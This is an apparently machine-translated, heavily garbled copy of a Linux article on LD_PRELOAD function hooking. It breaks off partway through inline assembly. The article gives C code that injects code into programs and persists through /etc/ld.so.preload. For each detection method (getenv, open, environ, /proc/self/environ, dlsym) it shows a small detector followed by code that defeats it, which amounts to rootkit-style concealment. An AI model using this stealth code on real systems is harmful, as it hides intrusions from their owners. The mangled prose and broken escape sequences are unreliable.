ืืขืจ ืฆืขืื ืืื ืืขืืืขื ืืขืฉืจืืื ืืื 2014, ืึธืืขืจ ืืื ื ืึธืจ ืืขืงืืืขื ืืื ืืขืจ ืคืึทืจืฉืืืงืื ื ืืืืฃ Habrรฉ ืืื ืขืก ืืื ื ืืฉื ืืขื ืื ืืืื ืคืื ืืึธื. ืืขืฉืึทืก ืื ืคืึทืจืืึธื ืืื ืคืืจืืขืกื ืืืขืื ืืื, ืึธืืขืจ ืืืฆื ืืื ืืขืคืื ืขื ืขืก ืืื ืื ืืจืึทืคืฅ. ืืื ืืขืืึทื ืง ืืืขืื ืืืกืืขืงื ืขืก, ืึธืืขืจ ืืคึฟืฉืจ ืขืก ืืืขื ืืืื ื ืืฆืืง ืคึฟืึทืจ ืขืืขืฆืขืจ.
ืืื ืึทืืืขืืืื, ืึท ืืืกื ืคืจืืืืื ืึทืืืื ืืืืขื ืขื ืืืืฃ ืืขืจ ืืขืืข ืคืื โโืืืื ืคึฟืึทืจ "ืึทืจืืึทื ืืขืจืขืื ื" LD_PRELOAD.
1. ื ืงืืจืฅ ืืืืจืขืฉืึทื ืคึฟืึทืจ ืื ืืืืก ืืขื ืขื ื ืืฉื ืืึทืงืึทื ื ืืื ืคืื ืงืฆืืึธื ืืจื ืกืึทืืกืืืืืฉืึทื
ืื ืื ืืื ืงืขื ืขื ืืืื ืืืืึทื ืฆื ื.2.
ืืึธืืืจ ืึธื ืืืืื ืืื ืึท ืงืืึทืกืืฉ ืืืึทืฉืคึผืื:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
ืืืจ ืฆืื ืืืคืฉืืขืื ืืื ืึธื ืงืืื ืคืืึทืืก:
$ gcc ./ld_rand.c -o ld_rand
ืืื, ืืื ืืขืจืืืึทืจื, ืืืจ ืืึทืงืืืขื 5 ืืจืึทืค - ื ืืืขืจื ืืืืื ืืงืขืจ ืืื 100:
$ ./ld_rand
53
93
48
57
20
ืึธืืขืจ ืืึธืื ืืื ืื ืืืึทืืืฉืึทื ืึทื ืืืจ ืืึธื ื ืื ืืึธืื ืื ืืงืืจ ืงืึธื ืคืื ืื ืคึผืจืึธืืจืึทื, ืึธืืขืจ ืืืจ ืืึทืจืคึฟื ืฆื ืืืืฉื ืื ื ืึทืืืจ.
ืืึธืืืจ ืืึทืื ืืื ืืืขืจ ืืืืืขื ืข ืืืืืืึธืืขืง ืืื ืืื ืืืขืจ ืืืืืขื ืข ืคึผืจืึธืืืึทืืืืคึผ ืคืึทื ืืงืฉืึทื ื, ืืืฉื:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
ืืื ืืืฆื ืืื ืืืขืจ ืืจืึทืค - ืืจืืจื ืืื ืืึทื ืฅ ืคึผืจืืืืงืืึทืืึทื:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
ืืขืจ ืงืื ืฅ ืงืืงื ืืคืืื ืืขืจ ืืืคึผืจืขืกืืื ืืืื ืืืจ ืขืจืฉืืขืจ ืึทืจืืืกืคืืจื ืืื ืืืขืจ ืืืืืืึธืืขืง ืืืจื
$ export LD_PRELOAD=$PWD/ld_rand.so
ืึธืืขืจ ืืืจ ืืืขืื ืืึธื ืขืก ืขืจืฉืืขืจ
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
ืืื ืืขืืึธืื ืืืืคื ืื ืคึผืจืึธืืจืึทื ืืื ืืขืืืืื ืืืขื. ืืืจ ืืึธืื ื ืืฉื ืคืืจืขื ืืขืจื ืึท ืืืื ืฉืืจื ืคืื ืงืึธื ืืื ืื ืคึผืจืึธืืจืึทื ืืื, ืึธืืขืจ ืืืื ื ืึทืืืจ ืืขืคึผืขื ืืก ืืืฆื ืืืืฃ ืึท ืงืืืื ืืฉืืง ืคืื ืงืฆืืข ืืื ืืื ืืืขืจ ืืืืืืึธืืขืง. ืืขืจืฆื, ืืื ืืขืจ ืฆืืื ืคืื ืฉืจืืืื ืืขื ืคึผืจืึธืืจืึทื, ืื ืจืึทื ื ืืื ืืคืืื ื ืืฉื ืขืงืืืกืืืจื.
ืืืึธืก ืืขืืืื ืืื ืืืขืจ ืคึผืจืึธืืจืึทื ื ืืฆื ืึท ืฉืืืื ืื ืจืึทื ื? ืืื ืก ื ืขืืขื ืขืก ืฉืจืื ืืืจื ืฉืจืื.
ืืืขื ืึท ืึทืคึผืืึทืงืืืฉืึทื ืกืืึทืจืฅ, ืขืืืขืืข ืืืืืจืขืจืื ืืขื ืขื ืืึธืืืื ืืืึธืก ืึทื ืืืึทืืื ืื ืคืึทื ืืงืฉืึทื ื ืืืึธืก ืื ืคึผืจืึธืืจืึทื ืืึทืจืฃ. ืืืจ ืงืขื ืขื ืืขื ืืื ื ืืฆื ืื:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
ืื ืจืฉืืื ืงืขื ืืืึทืื ืืืคึผืขื ืืื ื ืืืืฃ ืื ืึทืก ืืืขืจืกืืข, ืึธืืขืจ ืขืก ืืืื ืืืื ืึท ืืขืงืข ืืึธืจื libc.so. ืขืก ืืื ืื ืืืืืืึธืืขืง ืืืึธืก ืืื ืกืืกืืขื ืงืึทืืืก ืืื ืืงืขืจืืืง ืคืึทื ืืงืฉืึทื ื ืึทืืึท ืืื ืขืคืขื ืขื, malloc, ืคึผืจืื ืืฃ ืืื' ืืื ืืืขืจืข ืจืึทื ื ืืื ืืืื ืฆืืืืฉื ืืื. ืืื ืก ืืึทืื ืืืืขืจ ืคืื ืืขื:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
ืืื ืก ืืขื ืืืื ืื ืืึทื ื ืคืื ืืืืืจืขืจืื ืขื ืืขืจืื ืืขื ืืืขื ืืขืืืืื ื LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
ืขืก ืงืืงื ืืื ืื ืืืขืจืืึทืืึทืื ืืื ืืึทืฉืืืื LD_PRELOAD ืคืึธืจืกืขืก ืืื ืืืขืจ ืฆื ืืึทืกืข ld_rand.so ืืคืืื ืืจืึธืฅ ืืขืจ ืคืึทืงื ืึทื ืื ืคึผืจืึธืืจืึทื ืืื ืืื ื ืืฉื ืืึทืจืคื ืขืก. ืืื ืืื ื ืืื ืืืขืจ ืคึฟืื ืงืฆืืข "ืจืึทื ื" ืืึธืืื ืคืจืืขืจ ืืื ืจืึทื ื ืคืื libc.so, ืืขืืื ื ืืขืจืฉ ื ื ื ืืข ืจ ืจืื .
ืืื, ืืืจ ืืขืจืืื ืฆื ืคืึทืจืืืึทืื ืื ืืขืืืืจื ืคืื ืงืฆืืข, ืึธืืขืจ ืืื ืงืขื ืขื ืืืจ ืืึทืื ืืืืขืจ ืึทื ืื ืคืึทื ืืงืฉืึทื ืึทืืืื ืืื ืืคืืขืืื ืืื ืขืืืขืืข ืึทืงืฉืึทื ื ืืขื ืขื ืฆืืืขืืขืื. ืืึธืืืจ ืืึธืืืคืืฆืืจื ืืื ืืืขืจ ืืจืึทืค:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* ะัะฟะพะปะฝัะตะผ ะฝะตะบะธะน ะบะพะด */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
ืืึธ, ืืื ืืื ืืืขืจ "ืฆืืืขืื", ืืืจ ืืจืืงื ืืืืื ืืืื ืฉืืจื ืคืื ืืขืงืกื, ื ืึธื ืืืึธืก ืืืจ ืืึทืื ืึท ืืืึทืื ืฆื ืืขืจ ืึธืจืืืื ืขื ืคึฟืื ืงืฆืืข ืจืึทื ื. ืฆื ืืึทืงืืืขื ืื ืึทืืจืขืก ืคืื ืืขื ืคึฟืื ืงืฆืืข ืืืจ ืืึทืจืคึฟื dlsym ืืื ืึท ืคึฟืื ืงืฆืืข ืคึฟืื ืืขืจ ืืืืืืึธืืขืง libdlืืืึธืก ืืืขื ืืขืคึฟืื ืขื ืืื ืืืขืจ ืจืึทื ื ืืื ืึท ืึธื ืืืืื ืคืื ืืื ืึทืืืฉ ืืืืืจืขืจืื. ื ืึธื ืืืึธืก ืืืจ ืืืขืื ืจืืคื ืืขื ืคึฟืื ืงืฆืืข ืืื ืฆืืจืืงืงืืืขื ืืืึทื ืืืขืจื. ืึทืงืงืึธืจืืื ืืื, ืืืจ ืืืขืื ืืึทืจืคึฟื ืฆื ืืืืื "-ืืื" ืืขืช ืืกืืคื:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
ืืื ืืื ืืืขืจ ืคึผืจืึธืืจืึทื ื ืืฆื "ืืขืืืืจื" ืจืึทื ื, ืืืืื ืคืจืืขืจ ืืขืืื ืขืืืขืืข ืืจืึธื ืึทืงืฉืึทื ื.
2. ืืขืจ ืืืืืืืง ืคืื ืืืื
ืืืืกื ืืืขืื ืึท ืคึผืึธืืขื ืฆืืขื ืกืึทืงืึธื ืข, ืืืจ ืืืขืื ืฆื ืืขืืขืงื ืึทื ืคึผืจืขืืึธืึทื ืขืก ืืื ืืขืืืขื ืืขืืื. ืขืก ืืื ืงืืึธืจ ืึทื ืืขืจ ืืขืกืืขืจ ืืืขื ืฆื ืืขืืขืงื ืืื ืฆื ืฉืืืคึผื ืขืก ืืื ืื ืงืขืจื, ืึธืืขืจ ืืื ืืื ืืขืืืขื ืืื ืืขืจืขืกืืจื ืืื ืื ืืืืขืงืฉืึทื ืึธืคึผืฆืืขืก ืืื ืืึทื ืืฆืขืจ ืคึผืืึทืฅ.
ืืืืึทืืขืจ, ืกืึทืืืฉืึทื ื ืคึฟืึทืจ ืืืืขืงืฉืึทื ืืื ืืืืขืจ ืจืืคืืืืืืฉืึทื ืืืขื ืงืืืขื ืืื ืคึผืขืจื.
2.1. ืืื ืก ืึธื ืืืืื ืคึผืฉืื
ืืื ืืขืจืืื ื ืคืจืืขืจ, ืืืจ ืงืขื ืขื ืกืคึผืขืฆืืคืืฆืืจื ืื ืืืืืืึธืืขืง ืฆื ืืึทืกืข ืืื ืื ืืืึทืืขืืืืืง LD_PRELOAD ืึธืืขืจ ืืืจื ืฉืจืืืื ืขืก ืืื ืึท ืืขืงืข /etc/ld.so.preload. ืืึธืืืจ ืืึทืื ืฆืืืื ืคึผืฉืื ืืขืืขืงืืึธืจืก.
ืืขืจ ืขืจืฉืืขืจ ืืื ืฆื ืงืึธื ืืจืึธืืืจื ืื ืืึทืฉืืขืืืงื ืกืืืืืืข ืืืึทืืขืืืืืง:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
ืื ืจืืข ืืื ืฆื ืงืึธื ืืจืึธืืืจื ืฆื ืื ืืขืงืข ืืื ืืขืขืคื ื:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
ืืึธืืืจ ืืึธืื ืื ืืืืืืึธืืขืงื:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
ืืึธ ืืื ืืื ืื, [+] ืื ืืืงืืืฅ ืึท ืืฆืืื ืืืืขืงืฉืึทื.
ืึทืงืงืึธืจืืื ืืื, [-] ืืืื ืืืืคึผืึทืกืื ื ืืืืขืงืฉืึทื.
ืืื ืขืคืขืงืืืื ืืื ืึทืืึท ืึท ืืขืืขืงืืึธืจ? ืืื ืก ื ืขืืขื ืึท ืงืืง ืืื ืื ืกืืืืืืข ืืืขืจืืึทืืึทื ืขืจืฉืืขืจ:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
ืกืืืืืึทืจืื, ืืืจ ืืึทืงืืืขื ืืึทืคืจืืึทืขื ืคืื ืื ืืฉืขืง ืขืคืขื ืขื:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
ืืึธ, ืื ืืขืจืข ืืืขืื ืฆื ืึทืงืกืขืก ืื ืืขืงืข ืงืขื ืขื ืืืื ืืขืืืืื ื ืืึธ, ืึทืืึท ืืื, open64, ืืขืืื ืข ืืื"ื ื, ืึธืืขืจ, ืืื ืคืึทืงื, ืื ืืขืืืข 5-10 ืฉืืจืืช ืคืื ืงืึธื ืืขื ืขื ืืืจืฃ ืฆื ืึธืคึผื ืึทืจื ืืื.
2.2. ืืืืืจ ืืืืืืขืจ ืืืื
ืืืืื ืืืจ ืืขืืืืื ื ืืขืืขื ืื() ืฆื ืืึทืงืืืขื ืื ืืืขืจื LD_PRELOAD, ืึธืืขืจ ืขืก ืืื ืืืื ืึท ืืขืจ "ื ืืืขืจืืง ืืืจืื" ืืืขื ืฆื ืืึทืงืืืขื ืฆื ENV- ืืืขืจืืึทืืึทืื. ืืืจ ืืืขืื ื ืืฉื ื ืืฆื ืื ืืขืจืืืืืื ืคืึทื ืืงืฉืึทื ื, ืึธืืขืจ ืึธืคึผืฉืืงื ืฆื ืื ืืขื ืืข **ืกืืื, ืืืึธืก ืกืืึธืจื ืึท ืงืึธืคึผืืข ืคืื โโโโืื ืกืืืืืืข:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
ืืื ื ืืึธ ืืืจ ืืืืขื ืขื ืืึทืื ืืืืึทื ืคืื ืืึผืจืื, ืึทืืึท ืึท ืจืืคื ืงืขื ืขื ื ืื ืืืื ืื ืืขืจืกืขืคึผืืึทื, ืืื ืืื ืืืขืจ undetect_getenv ืขืก ืฉืืขืจื ื ืื ืืขืจ ืฆื ืืืขื ืืืคืืฆืืจื ืื ืื ืืจืืืฉืึทื.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
ืขืก ืืืึธืื ืืืกืงืืืขื ืึทื ืืขื ืคึผืจืึธืืืขื ืืื ืกืึทืืืื? ืขืก ืก ื ืึธื ื ืึธืจ ืึธื ืืืื.
ื ืึธื ืื ืคึผืจืึธืืจืึทื ืืื ืกืืึทืจืืขื, ืื ืืืขืจื ืคืื ืื ืืืึทืืขืืืืืง LD_PRELOAD ืืึทืงืขืจื ื ืื ืืขืจ ืืึทืจืคึฟื ืขืก ืืื ืืึผืจืื, ืืึธืก ืืื, ืืื ืงืขื ืขื ืืืืขื ืขื ืขืก ืืื ืืืกืืขืงื ืขืก ืืืืืขืจ ืขืงืกืึทืงืืืืื ื ืงืืื ืื ืกืืจืึทืงืฉืึทื ื. ืคืื ืงืืจืก, ืขืืืืื ื ืึท ืืขื ืืข ืืื ืืืงืึธืจื ืืื, ืืืึท ืึท ืืื ืืืื, ืึท ืฉืืขืื ืคึผืจืึธืืจืึทืืืื ื ืกืืื, ืึธืืขืจ ืืื ืงืขื ืืึธืก ืืึทืืื ืขืืขืฆืขืจ ืืืืก ืืื ื ืืฉื ืืึทืงืข ืืืื ืืฉื ืืื ืื ืืขืืื ื ืกืืึท ืืื ืกืืึท?
ืฆื ืืึธื ืืึธืก, ืืืจ ืืึทืจืคึฟื ืฆื ืฉืึทืคึฟื ืืื ืืืขืจ ืืืืืขื ืข ืฉืืืื ืื ืคืื ืงืฆืืข ืืื ืืขื(), ืืื ืืืึธืก ืืืจ ืื ืืขืจืกืขืคึผื ืื ืืื ืกืืึทืืืจื LD_PRELOAD ืืื ืฉืืงื ืขืก ืฆื ืืื ืืืขืจ ืืื ืงืขืจ:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// ะกะพะทะดะฐัะผ ัะตะนะบะพะฒัั ะฒะตััะธั init
// ะบะพัะพัะฐั ะฑัะดะตั ะฒัะทะฒะฐะฝะฐ ะฟัะธ ะทะฐะณััะทะบะต ะฟัะพะณัะฐะผะผั
// ะดะพ ะฒัะฟะพะปะฝะตะฝะธั ะบะฐะบะธั
-ะปะธะฑะพ ะธะฝััััะบัะธะน
void evil_init()
{
// ะกะฝะฐัะฐะปะฐ ัะพั
ัะฐะฝะธะผ ัะตะบััะตะต ะทะฝะฐัะตะฝะธะต LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// ะะทะฑะฐะฒะปัะตะผัั ะพั ัะตะบััะตะณะพ LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// ะัะพะฒะตััะผ ะฝะต ัััะตััะฒัะตั ะปะธ ะดััะณะธั
ัััะฐะฝะพะฒะปะตะฝะฝัั
LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// ะัะปะธ LD_PRELOAD ะฝะต ะฑัะปะพ ัััะฐะฝะพะฒะปะตะฝะพ ะดะพ ะฝะฐั, ัะพ ะดะพะฑะฐะฒะธะผ ะตะณะพ
if(k == -1){
k = i;
i++;
}
// ะกะพะทะดะฐัะผ ะฝะพะฒะพะต ะพะบััะถะตะฝะธะต
new_env = (char**) malloc((i+1)*sizeof(char*));
// ะะพะฟะธััะตะผ ััะฐัะพะต ะพะบััะถะตะฝะธะต, ะทะฐ ะธัะบะปััะตะฝะธะตะผ LD_PRELOAD
for(j = 0; j < i; j++) {
// ะฟะตัะตะทะฐะฟะธััะฒะฐะตะผ ะธะปะธ ัะพะทะดะฐัะผ LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
ืืืจ ืืืกืคืืจื ืืื ืงืึธื ืืจืึธืืืจื:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
ืึธืืขืจ, ืืึผืจืื ืืื ื ืืฉื ืื ืืขืฆืืข ืึธืจื ืืื ืืืจ ืงืขื ืขื ืืขืคึฟืื ืขื ืึท ืกืึทืืกืืืืืฉืึทื LD_PRELOAD, ืขืก ืืื ืืืื /ืคึผืจืึธืง/. ืืื ืก ืึธื ืืืืื ืืื ืื ืงืืึธืจ ืืื ืืขืจ ืืึธื /ืคึผืจืึธืง/{PID}/ืขื ืืืืจืึธื.
ืืื ืคืึทืงื, ืขืก ืืื ืึท ืื ืืืืขืจืกืึทื ืืืืืื ื ืคึฟืึทืจ ืึทื ืืืืขืงื **ืกืืื ะธ /proc/self/environ. ืื ืคึผืจืึธืืืขื ืืื ืื "ืคืึทืืฉ" ื ืึทืืืจ unsetenv (env).
ืจืืืืืง ืึธืคึผืฆืืข
void evil_init()
{
// ะกะฝะฐัะฐะปะฐ ัะพั
ัะฐะฝะธะผ ัะตะบััะตะต ะทะฝะฐัะตะฝะธะต LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// ะะทะฑะฐะฒะปัะตะผัั ะพั ัะตะบััะตะณะพ LD_PRELOAD
//unsetenv(env);
// ะะผะตััะพ unset ะฟัะพััะพ ะพะฑะฝัะปะธะผ ะฝะฐัั ะฟะตัะตะผะตะฝะฝัั
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
ืืืขืจ ืืืืืจ ืืื ืคืืจืฉืืขืื ืื ืืืจ ืืืื ืขืก ื ืืฉื ืืขืคืื ืขื ืืื /proc/self/environ ืึผืืื "ืคึผืจืึธืืืขืืึทืืืง" ืืึทืื.
ืืืืืจ ืงืืื ืคืจืืืืจื ืืื ืืื ืืขืจ ืคืจืืขืจืืืืขืจ "ืคืึทืจืฉืืขืืื ื":
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
ืงืึทืฅ ื ืืฆื ืื ืืขืืืข ืฆื ืขืคืขื ืขื ืื ืืขืงืข ืขืคืขื ืขื (), ืึทืืื ืื ืืืืืื ื ืืื ืขื ืืขื ืฆื ืืืึธืก ืืื ืฉืืื ืืขืืื ืืื ืึธืคึผืืืืืื ื 2.1, ืึธืืขืจ ืืืฆื ืืืจ ืืึทืื ืึท ืฆืืึทืืืืืึทืืืง ืืขืงืข ืืื ืืืจ ื ืึธืืืึทืื ืื ืืืึทืืืขืก ืคืื ืื ืืืช ืืึผืจืื ืึธื ืฉืืจืืช ืืื LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
ืืื ืืขื ืืื ืข ืืื ืืืจืืืขืืื ืืขื:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
ืืขืจ ืืืืึทืืขืจ ืงืืึธืจ ืืื ืืขืจ ืืึธื ืึธืจื ืืื /proc/self/maps. ืขืก ืืื ืงืืื ืคืื ื ืฆื ืืืืื ืขื ืืืืฃ ืืื. ืื ืืืืืื ื ืืื ืืขืืึทืืจืข ืืืืขื ืืงืึทื ืฆื ืื ืคืจืืขืจืืืงืข: ื ืึธืืืึทืื ืื ืืึทืื ืคึฟืื ืืขืจ ืืขืงืข ืืื ืืก ืื ืฉืืจืืช ืฆืืืืฉื libc.so ะธ ld.so.
2.4. ืึธืคึผืฆืืข ืคึฟืื Chokepoint
ืืื ืกืคึผืขืฆืืขื ืืืืงื ืืขื ืืืืืื ื ืคึฟืึทืจ ืืืึทื ืคึผืึทืฉืืขืก. ืืืจ ืคืึทืจืืืืึทืื ืื ืึทืืจืขืกืขืก ืคืื ืคืึทื ืืงืฉืึทื ื ืืึธืืืื ืืืืึทื ืคึฟืื libc, ืืื "ืืืืึทืืขืจ" ืืืขื ืื.
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
ืืึธืืืื ื ืื ืืืืืืึธืืขืง ืืื ืื ืืขืจืกืขืคึผืฉืึทื "ืขืคืขื ืขื ()" ืืื ืืฉืขืง:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
ืื ืจืืคืืืืืืฉืึทื ืืื ืืขืืืขื ื ืึธื ืกืืืคึผืืขืจ:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. ืกืืกืงืึทืืืก
ืขืก ืืืึธืื ืืืกืงืืืขื ืึทื ืืึธืก ืืื ืึทืืข, ืึธืืขืจ ืืืจ ืืืขืื ื ืึธื ืคืืึธืื ืืขืจ. ืืืื ืืืจ ืคืืจื ืื ืกืืกืืขื ืจืืคื ืืืืึทื ืฆื ืื ืงืขืจื, ืืึธืก ืืืขื ืืืืคึผืึทืก ืื ืืื ืฆืข ืื ืืขืจืกืขืคึผืฉืึทื ืคึผืจืึธืฆืขืก. ืื ืืืืืื ื ืืื ืื ืืื, ืคืื ืงืืจืก, ืึทืจืงืึทืืขืงืืฉืขืจ-ืึธืคืขื ืืืง (ืงืก 86_64). ืืื ืก ืคึผืจืืืืจื ืฆื ืื ืกืืจืืืขื ื ืขืก ืฆื ืืขืืขืงื ืึท ืขืคื ld.so.preload.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
